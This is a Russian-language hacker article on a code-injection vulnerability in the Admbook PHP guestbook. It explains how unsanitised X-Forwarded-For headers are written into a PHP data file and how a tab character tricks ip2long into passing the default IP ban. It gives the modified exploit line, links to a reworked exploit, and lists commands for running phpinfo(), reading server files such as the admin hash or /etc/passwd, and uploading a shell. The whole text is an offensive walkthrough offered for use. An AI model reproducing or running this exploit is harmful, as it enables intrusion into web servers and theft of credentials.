1. Описание уязвимости.
Собственно, уязвимость достаточно уже древняя. Написано о ней вот здесь, например:
http://secunia.com/advisories/18930
Рабочий эксплоит можно утянуть отсюда:
http://www.milw0rm.com/exploits/1512
Одна проблема - уязвимость не юзается, когда в файле
banned-ip-data.php присутствует
значение
-1. А это значение по умолчанию для данного файла. Мне удалось обойти указанное ограничение.
Рассмотрим подробно суть уязвимости.
Добавление сообщений в гостевую книгу осуществляется посредством скрипта
write.php, а сама база сообщений хранится в файле
content-data.php. Так, когда пользователь добавляет сообщение, в файле
content-data.php появляются следующие строчки:
Код:
$content[0]['ip'] = "127.0.0.1";
$content[0]['host'] = "localhost";
$content[0]['proxy'] = "127.0.0.1";
$content[0]['name'] = "Sergey";
$content[0]['url'] = "";
$content[0]['mail'] = "sergey@micro.com";
$content[0]['icq'] = "";
$content[0]['message'] = "It is a wonderful site... Thank you!";
$content[0]['time'] = "1200320295";
$content[0]['admin-name'] = "";
$content[0]['admin-message'] = "";
$content[0]['admin-time'] = "";
Нас интересует переменная
$content[0]['ip']. Посмотрим, как она формируется. В файле
write.php переменной
$ip присваивается значение переменной окружения
HTTP_X_FORWARDED_FOR:
Код:
$ip = getenv("HTTP_X_FORWARDED_FOR");
Затем, если функция
checkBannedIp возвращает
TRUE, наше сообщение успешно добавляется в гостевую книгу, иначе идём лесом.
Код:
$checkIp = checkBannedIp($ip, $login, $password);
if (!$checkIp || !$checkProxyIp)
{
$error .= "This 'ip' or 'proxy' is banned<br>";
}
Функция
checkBannedIp находится в файле
lib.php и осуществляет проверку валидности переданного нами айпишника при помощи функции
ip2long:
Код:
include($bannedData);
$ip = ip2long($ip);
if (!isset($banned))
{
$banned = array();
}
if (in_array ($ip, $banned))
{
$check = false;
}
return $check;
т.е. если наш айпишник обнаружен в файлике
banned-ip-data.php, то мы, как уже было отмечено выше, идём лесом. Функция
ip2long возвращает наш ip-адрес в long-формате,
либо
-1, если переданный нами
HTTP_X_FORWARDED_FOR не является ip-адресом. Другими словами значение
-1 в файле
banned-ip-data.php банит сразу все значения не являющиеся ip-адресами. Получается, что когда
-1 в файле
banned-ip-data.php отсутствует, мы можем передавать в поле
HTTP_X_FORWARDED_FOR произвольный код, когда
-1 присутствует, ну да, лесом... Обойти это можно, пользуясь уязвимостью в функции
ip2long:
http://securityvulns.ru/Ndocument693.html
Т.е. перед произвольным кодом в поле
HTTP_X_FORWARDED_FOR, нам придется добавить, например,
chr(9), тогда
ip2long вернет валидное и отличное от
-1 значение. Применительно к типовому эксплоиту, это будет выглядеть так:
Код:
print $sock "X-Forwarded-For: GUESS_WHAT:".$SHELL."\r\n";
заменяем на
Код:
print $sock "X-Forwarded-For: 1.1.1.1".chr(9)."GUESS_WHAT:".$SHELL."\r\n";
Доработанную версию эксплоита ты можешь взять здесь:
http://www.itsme7.pochta.ru/admbook.pl
2. Использование уязвимости.
В общем, эксплоит я слегка доработал, добавив парочку полезных функций. Теперь, при запуске нужно указывать ещё
OPERATION_MODE (режим выполнения). Значение
OPERATION_MODE равное
0 выполняет
phpinfo(),
1 позволяет просматривать произвольные файлы на сервере, а любое другое цифровое значение загружает шелл.
Шелл загружается так:
Код:
perl admbook_122_xpl.pl 998 localhost /admbook/ ls -al
Если не загружается, то здесь возможны несколько ситуаций. Самый попсовый случай - это когда эксплойтовские сообщения в гостевую даже не добавляются. Тут мы, как правило, отдыхаем, хотя и возможны варианты (например, гостевая защищена от спама картинкой - можно что-то ловить). Затем, бывает ещё, что сообщение добавляется, а шелла всё равно нету. Тут скорее всего, для нашего юзера просто запрещены команды а-ля
system(), passthru() и т.д. Возможно, эксплоит нам об этом честно сообщит, хотя не факт. Здесь можно попробовать просмотреть содержимое файлов на серваке, как минимум
settings-data.php, где лежит админский хеш, но при некотором везении это может оказаться
/etc/passwd или файлы других пользователей.
Код:
perl admbook_122_xpl.pl 1 localhost /admbook/ settings-data.php
Если уж и здесь никак, возможно повезёт с утешительными призом просмотром
phpinfo(). :-)
Код:
perl admbook_122_xpl.pl 0 localhost /admbook/